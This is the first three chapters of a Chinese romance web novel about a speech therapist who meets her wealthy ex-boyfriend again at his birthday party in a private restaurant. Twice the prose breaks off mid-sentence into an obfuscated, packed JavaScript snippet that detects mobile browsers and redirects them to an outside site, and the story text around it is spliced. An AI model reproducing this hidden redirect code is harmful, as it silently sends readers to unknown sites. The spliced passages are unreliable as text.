《谁说分手后不能暗恋前任》 1. Chapter 01 窗外下起了雨。 梓城入了秋之后经常会下起这种细密的雨雾,且雨后气温便转寒凉,日夜温差大,竟让久未回到梓城的阙宛舒感到几分不适应。 她这几年都待在老家宜安,那是个位处南方的城市,虽然也经常下雨,但气候相对温暖,没有梓城这么冷。 阙宛舒才刚打开窗户便又关上了,她裹紧身上的白大褂,又站在窗边欣赏了一会雨后秋景,这才回到办公桌前整理下一堂言语治疗课需要用到的教具。 她是一名言语治疗师,大学时学的是听力与言语康复学,毕业后拿了奖学金去澳洲攻读听力学硕士,如今任职于梓城云安医院,主要负责婴幼儿的言语治疗与听能康复训练。 云安的耳鼻喉科特别出名,有几位医生在人工电子耳与小耳症领域多有建树,因此吸引不少听障病患慕名而来,电子耳术后的康复训练案量相较其他医院也更多。 阙宛舒下一堂课的个案正是植入人工电子耳的患者,今年五岁,一出生便患有先天性极重度听力损失,一岁半时进行了双耳电子耳手术,如今适应良好,只是言语发展相对于同龄孩童还是落后了一些。 今天这堂课的内容主要是带他阅读儿童绘本,并透过教唱简单儿歌来训练他对于较长句子的听觉记忆与节奏分辨。 一堂课大约一小时,课后阙宛舒又和家属进行了咨商,等到彻底结束时,壁上的时钟已然指向六点。 “宸宸,和舒舒老师说再见。”个案的小名叫宸宸,他妈妈正牵着他的手,笑咪咪地指向阙宛舒。 宸宸是个有些内向害羞的小孩,阙宛舒花了几堂课的时间才和他熟悉起来,此刻他羞涩地立在妈妈腿边,扭捏了一会后才一边说着“舒舒老师再见”,一边抬手朝阙宛舒飞了个kissgoodbye,把后者逗得笑弯了眼。 宸宸亮着眼睛说:“今天是我的生日,我们要去吃冰淇淋哦!” 宸宸妈妈笑道:“自从他爸爸答应要带他去买冰淇淋,这孩子就一天到晚冰淇淋冰淇淋的念叨个不停,把我和他爸爸惹得哭笑不得。” 听见妈妈数落自己,宸宸也只是笑嘻嘻地冲阙宛舒笑,模样既逗趣又可爱。 “原来宸宸喜欢吃冰淇淋呀。”阙宛舒笑着揉了揉他的脑袋,道:“对不起呀,老师没注意到今天是宸宸的生日,不然上课时就先教宸宸唱生日快乐歌了。” 宸宸回道:“下次!” “好,下次上课教宸宸唱。”阙宛舒脸上笑意更深,特意问他:“宸宸知道自己的生日是几月几号吗?” 宸宸点头,大声答道:“10月7号!” “对,是10月……7号。”阙宛舒恍惚了下,又很快回过神来:“老师记住了,以后不会忘记。” 回到办公室,阙宛舒脱下白大褂,坐在椅子上靠着椅背发呆。 片刻后,她点开电脑里的行事历,只见10月7日这栏纪录了满满的治疗课行程,除此之外没有其他。 可即便不特地纪录上去,她也清楚地记得今天……是那个人的生日。 好快啊,又一年过去了。 阙宛舒看着窗外发了一会呆,忽地自嘲地笑笑,正准备收拾东西回家,外头突然响起了敲门声。 她道了声“请进”,门便开了,一个笑容满面的青年探头进来,一看见她,顿时露出松了口气的表情:“太好了,你还在。” 来人是耳鼻喉科的主治医生靳廷,也是阙宛舒在澳洲留学时的同校学长,她之所以来到云安工作,正是受到他的邀请和举荐。 阙宛舒问:“靳医生?怎么了吗?” 靳廷快步走进来,一巴掌拍在她面前的桌上,随后笑咪咪地朝她打了个响指:“晚上科内聚餐,去不去?限时三秒回答,一、二——” “我……” “三秒到了,你说要去是吧?好嘞!”靳廷自顾自地说完,立刻转身往回走,像是深怕阙宛舒反悔。 不对!她根本就没有答应! “站住!!”阙宛舒急声喊住他,后者停下步伐,回头看她,可惜没等她说出意愿,便听见靳廷说:“去嘛,你都入职快三个月了,一次聚餐都没参加过,刚好今天主任请客,也给我们个机会替你办场欢迎会?” 阙宛舒:“……” 望着对方亮晶晶的眼睛,她实在说不出拒绝的话来。 而且他都这么说了,她还能怎么拒绝? “……时间地点。” “好耶!” - 下班后,阙宛舒搭靳廷的车一起前往餐厅,顺路去接了另一名同事。 同事名叫郑鹿梨,也是云安医院的言语治疗师,她今天休假,本来说异地恋的男朋友要来找她玩,所以不能参加聚餐,但后来又临时变卦,问阙宛舒他们能不能顺路来接她。 待郑鹿梨上车,阙宛舒看了眼她今天明显是为了见男友而精心打扮的模样,疑惑道:“你不是说要陪男友吗?怎么突然改变主意了?” “我男朋友要我来的。”郑鹿梨嘿嘿笑着:“他查了这次聚餐的地点,发现那是家人均一千多的高级私房菜,非要我来吃了之后回去给他说感想,所以我就来了。” 阙宛舒一眼看穿她:“其实就是你自己想吃吧。” “这不吃简直对不起自己!”郑鹿梨一拍大腿,咋舌道:“我听说今天是吴主任请客,他是不是瞒着我们偷偷中彩票了啊?” 靳廷笑出声音,道:“有可能,不过那家餐厅也不是中了彩票就能吃到的。” 郑鹿梨和阙宛舒闻言都看向他,他笑着接下去说:“他们是会员制,想去吃得有会员带,没有的话再有钱都吃不到。” 郑鹿梨好奇地问:“那加入会员的条件是什么?” 靳廷解释道:“首先是有会员介绍,再来会查验身份,最后得缴交会费,且每年的消费必须达到一定金额。” 郑鹿梨听得啧啧称奇,阙宛舒倒是见怪不怪,还知道得更多一些。 其实不只是餐厅,一些私人高级会所或是俱乐部都是以这套模式运行,在她家还没出事前,她父亲也参加过几个会费动辄几百万、甚至上千万的俱乐部,那些俱乐部的条条框框更多,对于身份的审核也更严格,并不是有钱就能进的。 因为对于这个圈子来说,钱不是他们所看重的第一要点,人脉和身份地位才是。 “不过,靳医生你怎么这么了解,难道你也是会员?” 靳廷失笑:“我一个普通医生,哪来的资格成为会员?” “倒是吴主任深藏不露哦。”阙宛舒调侃道,立刻引来郑鹿梨神神秘秘地说:“我听说,吴主任他老婆大有来头。” 阙宛舒问:“什么来头?” 郑鹿梨压低声音:“你知道我们医院是哪个集团的吧?云安集团,化工材料起家的那个,近几年也涉及医药领域,有小道消息说吴主任是云安集团的女婿,云安的现任董事长是他小舅子。” “真的啊?”阙宛舒瞪大眼睛,她想起那个手术鞋都穿烂了还不愿意换,且一天到晚哭诉研究金费不足说要去找院长泡茶谈谈、把院长都烦透了的小老头,实在无法把他和云安那种大财团联系在一起。 郑鹿梨点头,和阙宛舒分享自己可靠的消息来源,顺带告诉她近期搜刮到的院内八卦和秘辛。 两个人凑在一起窃窃私语,当说到骨科那个长得特别像电影明星的男医生其实英年早秃、现在头上戴的是假发时,他们恰好抵达餐厅。 “准备下车了,女士们。”靳廷停好车,率先解开安全带下了车,还贴心地替两位女士拉开车门。 这里是餐厅的地下停车场,只见偌大的停车场内空间敞亮,停放了数十辆豪车,其中甚至有好几辆都是只存在于网图上的超跑。 郑鹿梨大开眼界,嘴里喃喃地说着:“这地方是身为普通市民的我配来的吗……” “配的配的。”阙宛舒被她逗笑,推着呆立在原地的她往电梯走,“这世上哪有你去不得的地方?如果有,那只能是男厕所。” 郑鹿梨补充:“还有男澡堂。” 说完,两人对视一眼,笑闹在一起。 “主任他们已经到了。”靳廷看了眼手机,领着她俩进了电梯,当电梯到达一楼时,立刻有迎宾人员上前迎接。 靳廷报了包厢名,正在和服务员核对信息,郑鹿梨凑到阙宛舒身旁道:“不觉得靳医生看上去很熟练吗?他真的不是会员?” 阙宛舒看了靳廷一眼,突然压低声音说:“好吧,我偷偷告诉你个秘密。” 郑鹿梨好奇地凑近,就见阙宛舒欲言又止,止言又欲了一会,像是才终于下定决心般一脸严肃地道:“其实会员是我。” 郑鹿梨:“……” 郑鹿梨呵呵一声,学着她的语气:“我也告诉你一个秘密,其实这里的幕后老板是我。” 阙宛舒星星眼:“太棒了,我要告诉吴主任今天这餐免单了,幕后老板说要请客。” 郑鹿梨:“……喂!” 其实阙宛舒并没有开玩笑,她从前的确是这里的会员,虽然是从前。 这家私房菜是过去圈子里的一位朋友家里开的,那人和她前男友是好哥们,高中时他们经常来这玩和吃饭。 此刻她看着前台后方的牆壁上那铁画银钩的“华境私房菜”五字,即便告诉自己早该习惯,但心里还是不免涌现了一股物是人非的惆怅感,心口不由一阵发闷。 从前在宜安倒还好,自从回到梓城,这种感受似乎便一直日日夜夜伴随着她,每经过一个既熟悉又陌生的场景,便要难受一次。 正恍惚着,一名正在前台和迎宾人员谈话的老先生注意到她,略微一顿,忽然缓步朝他们走来。 老先生很快来到近前:“小陈,我来吧。” 本欲为靳廷等人领路的服务员见状一愣,连忙点头应道:“好的,经理。” 穿着暗红色唐装、胸口别着金色胸章的老先生看向三人,面上挂起温和的笑脸,他彬彬有礼地抬起手:“我是华境的经理,鄙姓唐,很荣幸能为三位服务,请诸位贵宾随我来。” 此话一出,不只郑鹿梨受宠若惊,就连靳廷都露出几分意外的神色,而阙宛舒则微微垂下眼睛,有一瞬间的呼吸滞涩。 待他们随经理离开后,小陈回到前台,悄声和同事八卦:“那三位客人来头很大吗?经理竟然亲自接待。” 她刚来华境工作不久,虽然这阵子也算见了不少世面,但如今还是不太会看人,只能从衣着打扮识别一个人有钱与否。 比如稍早由经理亲自接待的那一批顾客,虽然看上去非常年轻,但光瞧衣着打扮和气质就能知道是贵宾中的贵宾,而方才这三位虽然气质也不错,但衣着就相对普通许多,她实在看不出是什么来头。 同事瞥了她一眼,淡声道:“做这一行的第一准则,少说话,多做事。” 小陈:“……哦。” - 唐经理将三人领到名为“容福轩”的包间后便离开了,并没有多说什么,阙宛舒也不知道这位老先生到底有没有认出自己。 其他人已经到了,包含吴主任在内的几位医生,另外还有同为言语治疗师的张书兰老师,以及两位在院内负责听力评估和电子耳调频的听力师。 待人都到齐后,菜便开始上了。 阙宛舒坐在张老师旁边,一直被她招呼着品尝各类菜式。 张老师年逾六十,是国内小儿言语治疗领域的领头羊和专家,阙宛舒虽然才来到云安不过三个月,但已经从她身上学到许多,是以非常敬重她。 对方似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830204|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎也很喜爱阙宛舒,这阵子俨然把她当成自己的学生在教导和照顾。 席上,吴主任见状也道:“我记得小阙是宜安人吧?难得来到梓城,你一定要尝尝梓城的螃蟹,吃过没有说不好的!” 梓城盛产螃蟹,如今又恰好是品蟹的好时节,因此今天这桌菜上有不少螃蟹料理,吴主任还特地把菜转到她面前,招呼她吃。 大家如此热情,让阙宛舒有些不好意思,靳廷见自家学妹被诸位长辈“围攻”,连忙替她解围:“老师们别忙活了,宛舒小时候住在梓城,最知道这里的螃蟹有多美味了。” 吴主任惊讶道:“你以前住梓城啊?那怎么后来搬去宜安了?” 阙宛舒解释道:“我从小在梓城长大,宜安是我老家,高中时家里出了点事,就举家搬回宜安了。” “宜安也挺好。”吴主任点点头,又好奇地问:“你父母是做什么的?” 阙宛舒一愣,拿着筷子的手僵了僵,一时不知道该怎么回答。 其实她父母的职业也不是什么难以启齿的秘密,就是解释起来有些复杂。 她正想着该怎么说时,张老师睨了吴主任一眼,道:“你问那么多干什么?还让不让人好好吃饭了?” 吴主任讪讪道:“我这不是好奇吗?随便聊聊,随便聊聊,小阙你别有压力啊。” 阙宛舒笑了笑:“不会的。” 吴主任转头说起别的话题,原本是在闲话家常,可工作狂如他说着说着又不可避免地往工作的方面去了,立刻被张老师逮住话头说了一顿,看得大伙们一阵好笑。 这时,阙宛舒突然接到个案家属的电话,道了声“失陪”后,走到外头接电话。 打电话来的家属是想和她商量调课事宜,原先的时间他们临时有事不能过来,便询问能不能调去另一个时间。 阙宛舒确认了下课表,找到空档时间后回给对方,对方恰好也可以,于是便这么敲定了。 挂断电话后,阙宛舒正想转身回包厢,忽然听见有人喊了她一声:“阙宛舒?” 她循声看去,不远处有两个年轻男人正在看她,其中一个见她回头,脸上露出惊讶的表情。 “阙宛舒,真的是你。” 此时她正站在一处室外长廊上,那两人则在长廊另一头的露台上抽烟,因为离得不算近,且他们所在的位置灯光有些昏暗,阙宛舒看不清他们的长相。 虽然不知道喊她的人是谁,但既然出现在这里,又恰好认识她,那便只会有一种可能。 不是那个人,就是那个人的朋友。 不管是哪种情况,阙宛舒都绝对不想在此时面对,只想远远地避开。 于是她没有回应,只是握紧手机匆匆转身,想要赶快回到包厢去。 然而她才走没几步就被追上了,其中一个人伸手拦住她,轻易就堵住了她的去路:“跑什么,你不认得我了?” “……” 阙宛舒低头伪装鸵鸟,那人也不急,就这么抄着兜堵在她面前。 她往右一步,他跟着移过来,她往左一步,他也很快迈步,死死地挡住她的去路,显然铁了心不让她走。 “……” 阙宛舒又看着地板一会,终于鼓起勇气抬起脸。 抬头的瞬间,映入眼帘的是一张五官浓烈的俊脸,男人长了双惑人的桃花眼,看着她的眼神分外无辜,但笑起来时明显透着几分不怀好意。 阙宛舒愣愣地看着眼前这张陌生的脸庞,脑中记忆迅速地流转着,想了好一会才勉强找出一张脸孔和眼前的人重合在一起。 “霍海承?”她迟疑地问。 不怪她如此犹豫,只因她记忆里的霍海承是个看上去极具亲和力、实则骨子里有些蔫坏的小胖子,而面前这人—— “诶,是我。”霍海承笑咪咪地说,他手里的烟已经掐掉了,随手扔进了一旁的垃圾桶。 阙宛舒看着他刀削般的下腭线和底下那双笔直的大长腿,震惊了。 这……男大十八变啊! 不对!现在这个不是重点! 如果霍海承在这里的话,那么就代表那个人肯定也—— 阙宛舒眼皮一跳,表情带上了些许慌张。 “霍哥,这位是?”和霍海承同行的另一个人也走了过来,待看清阙宛舒的模样,他挑了挑眉,暧昧地冲霍海承笑笑:“哟,霍哥艳福不浅啊,只是出来抽个烟也能泡妹子。” 霍海承闻言斜睨了他一眼,道:“闭嘴,不想死的话就别乱说话。” 那人还是笑:“这就开始见色忘友了?” 他不认识阙宛舒,见她穿着简单的收腰白衬衫配灰色A字长裙,虽衣着朴素却难掩清丽姿容,原先好奇的目光渐渐变成了露骨的打量。 霍海承注意到了,他嗤笑一声,连在心里为这家伙默哀都懒得。 阙宛舒则丝毫未觉,她只想着到底该怎么样才能脱身,甚至在思考饭都不吃了火速逃离华境的方法和可能性。 说她养的仙人掌突然呕吐了要立刻赶回家?还是说她闺蜜家的水管爆炸了迫切需要她去修水管? 霍海承看穿了她的想法,冷不防探手揽住她的肩,笑嘻嘻地说:“你来这吃饭啊?真是好久不见了,恰好今天大伙都在,过来一起玩吧。” 阙宛舒:“……” 她最怕他这么说——!! “我……”可惜没等她拒绝,霍海承便以一个不容她拒绝的力道带着她往前走。 阙宛舒一路挣扎着,抗拒意味十足,活像是个被恶霸抢强的可怜民女,而恶霸本人则全程笑咪咪,但态度却非常强硬,搞得同行另一人都看不懂他的操作了。 印象中的霍哥虽然流连花丛,但对待女孩子向来很有耐心也很绅士,怎么今天突然当起恶霸来了? 2. Chapter 02 被霍海承带着拐过几个弯,原先古意盎然的景色渐渐转变,视野明丽开阔起来,像是瞬间穿越到另一处纸醉金迷的销金窟。 阙宛舒无心欣赏周旁的古董名画和美酒,此刻往前迈进的每一步,对她来说都像是走在黄泉路上一般难熬。 她已经无力挣扎,只能迷茫又忐忑地被人带着走,脑子里乱糟糟的,心跳也随着步伐逐渐加速。 霍海承拉着她来到一个包厢门前,正要开门,恰好有个人从里头出来,一见了他和阙宛舒,那人一愣:“你带的这谁啊?” 他喝了不少酒,身上透着浓浓的酒味,见霍海承出去抽个烟还带个人回来,忍不住翻了个白眼:“别忙着泡妹子了,珣哥心情不好,你快去哄哄呗,反正我是没辄了。” 阙宛舒一听见这名字,脸色愈发苍白,霍海承则笑了一声:“这不就来了。” 曹英没听懂他的哑谜,他正醉得眼神迷离,见阙宛舒安静地站在霍海承身旁,不由凑近她仔细地打量,“小姑娘挺漂亮的,不过她怎么长得有点像……喂,我说你可别学何明彦那家伙,珣哥会生气的,虽说这姑娘还真挺像的。” “……” 他靠得很近,阙宛舒艰难地与他对视着,彼此盯着对方看了几秒后,曹英突然浑身一个激灵,酒立刻醒了大半。 “我靠!霍海承你——” “让开。”霍海承白了他一眼,推开他带着阙宛舒进了包厢。 方才跟着霍海承出去抽烟的连峰也回来了,见曹英呆呆地站在门口,嘴里还喃喃地骂着脏话,不由好奇地问:“你站在这做什么?” 曹英却没理他,又呆立了几秒后突然慌慌张张地转身进了包厢。 “完了完了!要宫变了!” 连峰:“……” 这家伙是最近古装剧看多了还是咋地? - 这个包厢和云安医院众人所在的容福轩不同,并不只是个吃饭的包间,内里别有洞天。 不仅有吧台、撞球桌、牌桌、KTV,落地窗外头甚至还有露天泳池,此时一众衣着华贵明丽的年轻富二代们正聚在一起推杯换盏,伴随着轻快的音乐,处处欢声笑语不停。 见霍海承带了个女孩子进来,几个人不由抬眼看过来,审视与打量的目光流连在阙宛舒身上,让她愈发无所适从。 有男人笑着调侃道:“霍哥,这是谁呀?新女友?” 也有女人娇笑着说:“原来霍哥喜欢清纯款的啊,早知道我也打扮得邻家妹妹一点,下次霍哥也考虑考虑我呗。” 霍海承一概没理,径直带着阙宛舒朝包厢内一处沙发区走去。 那里也正聚着七八个人,细看的话能发现大部分的人都面朝一个方向,而在他们的目光汇聚之处,有个人拿着酒杯坐在沙发上,长腿交叠,姿态随意,但脸色略显不耐,似乎心情不是很好。 他原先正低头晃动着杯里的酒液,听见旁人喊了句“霍哥来了”才缓缓抬起眼,而当他的目光漫不经心地投向前方时,却在下一秒倏地定住了。 阙宛舒同样僵立在原地。 与对方视线相交的瞬间,她感觉耳边传来了巨大的轰鸣,大脑嗡嗡作响,震得浑身血液逆流、手脚发麻,就连灵魂都感受到那股强烈而不可忽视的颤栗。 与此同时,眼前人的模样,伴随着一个极具份量的名字穿越无数混乱重重地砸在她的心尖上和大脑里。 ——卫珣。 有多久没见到他了? 似乎是,从她十八岁的那一年,从和他分手的那一个夜晚起。 在阙宛舒凝视着卫珣的同时,卫珣也正看着她。 于是她清楚地看见,他在见到她的那一瞬间,本就不耐烦的脸色愈发阴沉,漆黑的双眸像两口古井,正沉默而冰冷地注视她。 阙宛舒就不该来这里。 她想要立刻扭头离开,手里却突然被人塞了支麦克风,紧接着肩膀被推了一把,整个人立刻站到了众人面前。 尔后她听见霍海承笑嘻嘻地说着:“今天珣哥生日,你唱首歌给他庆生吧。” 此话一出,周旁的人立刻跟着起哄,还把原先不在沙发区的人都引了过来。 数十道目光汇聚在阙宛舒身上,或打量或审视或端详,或好奇或轻佻或不屑,但是这些都没有卫珣的眼神来得令她如芒在背。 他只是安静地坐在那,就让她呼吸停滞,手脚发凉,如同舞台上断了线的木偶般不知该作何反应。 见她久久不动,有人不耐烦地催促:“快唱啊,还等着珣哥请你啊。” 曹英进来时看到的就是这一幕。 他差点冲上去扇说话的人一巴掌,可见卫珣没有反应,他也不敢自作主张,只好跑到好兄弟侯熙鸣身边冲他挤眉弄眼。 侯熙鸣疑惑地看着他:“你眼睛抽筋了?酒精中毒?” “你他妈才酒精中毒!”曹英暗暗指了指阙宛舒的方向,表情狰狞:“睁大你的狗眼好好看看,这位是、这位是——那位啊!” “哪位?”侯熙鸣一脸茫然,“你突然打什么哑谜,有屁快放。” 曹英气得想揍他,但也只得压低声音说:“就是珣哥那位复活的纯元皇后啊!” “什么狗屁的皇后,我还皇——” 话到这里突然顿住了,侯熙鸣终于反应过来,不由瞪大眼睛。 “我草!” - 有人起了个头,其他人便又开始起哄,他们是看热闹不嫌事大的观众,阙宛舒则是被圈在舞台中央被迫演出的小丑。 卫珣并没有阻止,他只是在众人的起哄声中抬手松了松领子,整个人往后闲适地靠在沙发上,并拿起酒杯抿了一口。 随后他终于开口,是漫不经心的语气:“唱啊。” 他一发话,起哄声更热烈了。 “……” 阙宛舒骑虎难下,只得在众目睽睽下艰难地举起麦克风。 她本想唱首生日快乐歌就扔下麦克风逃跑,可一抬头对上卫珣那双冷漠的眼睛,脑子突然一抽,于是开口第一句变成了:“春天在哪里呀,春天在哪里——” 第一句歌词脱口而出,她的脑海里顿时“轰隆”一声,脸上的表情愈发僵硬。 ……完蛋了。 唱成今天教给宸宸的那首儿歌了! 可唱都唱了,阙宛舒只得硬着头皮继续唱下去。 “春天在那青翠的山林里,这里有红花呀这里有绿草,还有那会唱歌的小黄鹂——” 她的声音很轻,因为紧张又尴尬,唱的时候声线不是很稳,语气也很平淡,再加上是清唱,所以听起来干巴巴的,并不是很好听。 唯一的优点,大概是音色还不错。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830205|158934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>等唱到了一连串的“嘀哩哩哩嘀哩哩”,阙宛舒的表情已经宛如死了一般安详。 她自暴自弃地把一首唱完,包厢内陷入一片诡异的死寂。 不知是谁先“噗嗤”一声笑出来,大声嘲笑了一句:“就算想引起珣哥的注意倒也不用这般别出心裁吧?” 说完,其他人立刻跟着哄堂大笑起来。 “竟然唱儿歌,这是我近年看过最骚的操作,简直笑死我了。” “不会唱歌的话唱首生日快乐歌也好啊,怎么会想要唱儿歌啊?” “还唱得这么难听,就这点歌喉也敢拿到珣哥面前秀,谁给你的勇气,梁静茹吗?” 一片哄笑声中,阙宛舒双手握着麦克风站在原地,白皙的小脸涨得通红,她只觉丢脸得恨不得立刻逃离地球,并忍不住在心里把硬是带她来到这的霍海承大卸八块。 而这般神情落在旁人眼里,看上去便像是她羞愤无措得随时都能哭出来。 “喀当——” 就在这时,酒杯被人重重扔在玻璃台面上的声音突兀地响起,满室的笑声立刻停下,众人纷纷噤声,抬眼去看沙发上的那人。 只见卫珣嘴角噙笑,眼神却很冷,浑身像笼罩着一圈风暴。他正直勾勾地盯着站在不远处的阙宛舒,忽然开口:“笑什么,鼓掌啊。” “啪啪啪——” 曹英第一个鼓起了掌,侯熙鸣很快跟上,见他们俩如此,其他人只得跟着鼓掌,甚至还有人吹起了口哨。 阙宛舒愈发觉得手脚无处安放,她想把麦克风还回去,然后立刻逃离这里,然而霍海承走过来拿走了麦克风,却又把一个倒满酒的杯子塞到她手里。 他示意她:“去给珣哥敬个酒呗。” 阙宛舒:“……” 她想把这杯酒泼在他脸上。 见她站着不动,霍海承正想把她推到卫珣身边,一道女声蓦然响起:“阙宛舒。” 这三个字一出,包厢里先是安静了一瞬,紧接着掀起了一波惊涛骇浪。 其实从刚才就有人认出阙宛舒了,只是碍于卫珣的反应平淡而不敢确认,至于其他没见过阙宛舒的人可能并不认得她的脸,但是绝对都知道“阙宛舒”这个名字。 毕竟这个名字在他们这圈子里可谓是“伏地魔”般的存在,谁提谁倒楣,尤其是在卫珣面前。 所以,刚刚被他们拱着给卫珣唱歌的女孩子就是阙宛舒? 开口的是一个穿着黑色连衣裙、长发披肩的冷脸美人,她踩着高跟鞋穿越人群,很快就来到阙宛舒面前。 女人身材高挑,穿了高跟鞋后足有一米七五,站在阙宛舒面前时替她挡住了周遭大半投向她的目光,包含卫珣的。 “拿来。”她拿走阙宛舒手里的酒杯,仰头一饮而尽,喝完随手把杯子扔回霍海承怀里。 随后她冷冷地睨了眼笑容无辜的霍海承,便握住阙宛舒的手腕,拉着她往外头走:“我带你出去。” 阙宛舒乖乖地跟在她后头。 冷脸美人在这群公子小姐里似乎地位颇高,卫珣不发话,也没人敢上前拦住她们。 阙宛舒能感受到无数探究的眼神愈发热烈地汇聚在她身上,其中一道目光的存在感更是强烈到像是恨不得在她身上灼烧出两个黑洞。 可惜直到走出包厢,阙宛舒都没敢回头再看那个人一眼。 3. Chapter 03 冷脸美人带阙宛舒离开了包厢,又领着她回到容福轩外的那处长廊,这才放开了她的手。 “谢谢你,赵宣沂。”阙宛舒轻声说,她的声音还有些抖,但情绪已然逐渐平复下来。 女人瞥了眼她垂在身侧仍微微发着颤的手指,没有多说什么,只是抱着双臂挑了挑眉:“这么多年没见,还记得我呢?” “当然。”阙宛舒抬眼看向面前一脸冷傲的美人,忽然指着自己的左脸笑了笑:“毕竟你曾经给我这里来了一下呢。” 赵宣沂脸上的表情立刻崩裂了,她有些恼羞成怒地说:“不是给你道过歉了吗?阙宛舒你到底想记仇到什么时候?” 赵宣沂和阙宛舒是一个高中的,她曾经因为感情问题和阙宛舒的闺蜜许知嫣打过架,当时阙宛舒上去劝架,却不慎遭到波及,左脸被赵宣沂的美甲划出两道血痕。 卫珣看到后气得半死,差点找上赵宣沂亲自揍回去,所幸被阙宛舒和曹英及时拦住。 不过被拦下的卫珣显然更生气了,事后阙宛舒又花了好几天才终于把人哄好。 说来也奇怪,明明被打的人是她,怎么还得她哄他呢? “开个玩笑嘛。”阙宛舒笑眼弯弯地说,见赵宣沂冷哼一声,她立刻讨好地对她道:“刚才谢谢你帮我,你是我的救命恩人。” 也许是因为经常替小朋友上治疗课,她说这话时的语气就像在哄孩子似的。 赵宣沂有种被表扬了的感觉,她的耳尖微微发烫,强装出冷傲的表情也出现了一丝裂痕,为她这副高贵冷艳的千金大小姐姿态平添了几分别扭的可爱。 阙宛舒见状忍不住抿嘴一笑,赵宣沂的脸仍有些红,却没再反驳,只是垂眼细细打量起眼前比她矮了半颗头的人。 阙宛舒的相貌和从前相比并没有太大的改变,唯二的变化大概就是颊边的婴儿肥褪去,头发也剪短了些。 此刻她乌黑的头发恰好垂至肩头,细碎的刘海底下是一张温和秀美的脸,眼睛比之从前多了更多岁月沉淀过的东西,但是澄澈依旧,整个人的气质也更加温婉柔韧。 身上穿的衣服虽然不是名牌,但胜在剪裁适宜,领口干净,衣料上也没有过多凌乱的折痕,整个人看上去十分得体舒服。 她似乎过得还不错,不似那些年圈子里的人传的那般穷困潦倒。 赵宣沂见状竟下意识松了口气,可当察觉到自己竟有这种疑似担心阙宛舒的念头后,她又觉得有些别扭。 自从阙家破产、阙定明入狱后,赵宣沂就再也没见过阙宛舒,只是从旁人那听说了她和卫珣分手,跟着她母亲离开了梓城,但具体的去向旁人并不清楚,唯一知道她下落的许知嫣也守口如瓶。 赵宣沂从前和阙宛舒不熟,毕竟她和她的好朋友许知嫣不对付,她和阙宛舒这种温软的老好人性格也不合,更不用说当时阙宛舒身边还有个就跟恶犬护食似地霸着她的卫珣,旁人想亲近她也不容易。 刚才之所以出手帮她,也不是赵宣沂和她的关系有多好,或者是她有多么见义勇为,不过是见不惯一个女孩子被一群人为难欺负罢了。 “不过你怎么会在这里?”赵宣沂微微抬起下巴,语气硬邦邦的:“是霍海承特地把你带来的?那家伙就是个人渣,早在他把麦克风塞给你的时候你就该直接砸在他脸上。” 阙宛舒被她耍狠的语气逗笑,见她一副嫌弃她性子软弱活该被人欺负的表情,但话里话外却俱是对她的维护,不由觉得心里暖暖的。 阙宛舒说:“我和同事来吃饭,恰好在外头遇见了霍海承。” “同事?”赵宣沂一愣,有些意外:“你现在在梓城工作?” “是的,回来三个月了。”阙宛舒笑笑,她垂下眼睛:“毕竟我爸爸在这,我老家离梓城有些远,想要探望他不太方便,刚好梓城这里有个不错的工作机会,所以就搬回来了。” 赵宣沂又问:“那你妈妈呢?” “我妈妈留在老家宜安市,现在是我小阿姨和妈妈的一个朋友在照顾她。”阙宛舒解释道,其实她要回梓城前有问过妈妈要不要和她一起搬回来,毕竟她妈妈身体不好,她俩住在一起她还能照顾她。 可她妈妈以北方太冷、已经习惯宜安的天气为由拒绝了,阙宛舒知道她其实是怕触景伤情,再加上……她还没有原谅爸爸,所以更不想回到梓城这个充满回忆的地方。 想起母亲,阙宛舒脸上的笑容微敛,多了几分苦涩。 赵宣沂注意到了,她微微蹙起眉,总觉得这种表情不适合出现在阙宛舒脸上。 记忆里的阙宛舒总是笑咪咪的,一看就知道是个自小备受宠爱、不谙世事的大小姐,她这个人,天真善良得近乎愚蠢,既烦人又爱管闲事。 赵宣沂和她的好朋友打架,给许知嫣脸上抡出了个熊猫眼,还用指甲划破了她的脸,整个人既凶狠又狼狈,活像个疯婆子,她竟然还来关心她的伤势,被她吼了句“快滚”后又塞了条帕子给她,让她擦擦脸上的血。 在她发现原来许知嫣不是插足她感情的小三,是她当时深爱的男友瞒着两个女孩子脚踏两条船,因此愤而去找那混蛋质问、又被那家伙毫无愧疚之心的言论气得仰倒时,向来脾气温和的阙宛舒竟然把她和许知嫣护在身后,一脸怒容地将那人渣骂得抬不起头。 甚至在卫珣来找她算帐时死命拖住对方,用那副小身板挡在她面前,说这一切并不是她的错。 喂,怎么就不是她的错了? 赵宣沂可是用指甲划破了她的脸啊,说不定她以后就这么毁容了,她怎么还护着她?干脆让卫珣打死她算了。 “你哭的时候很漂亮,但是——”她记得那个娇娇弱弱的女孩子在把男朋友劝离后,又折返回来,拿着帕子替她擦眼泪,说:“笑的时候更漂亮,所以不要哭,如果你还是生气的话,我们再去套那混蛋一次麻袋。” 赵宣沂当时真是讨厌死阙宛舒了。 她怎么那么爱多管闲事啊,竟然说她漂亮,她漂亮关她什么事,她哭不哭又关她什么事?还说要套人麻袋,就凭她那副弱不经风的模样能做到吗? 更让赵宣沂觉得讨厌的是,就这样一个既温柔又烦人,既善良又爱多管闲事的家伙,怎么18岁以后遇上的全是坏事。 破产的家,入狱的爸,生病的妈,还有一个疯狗似的前男友。 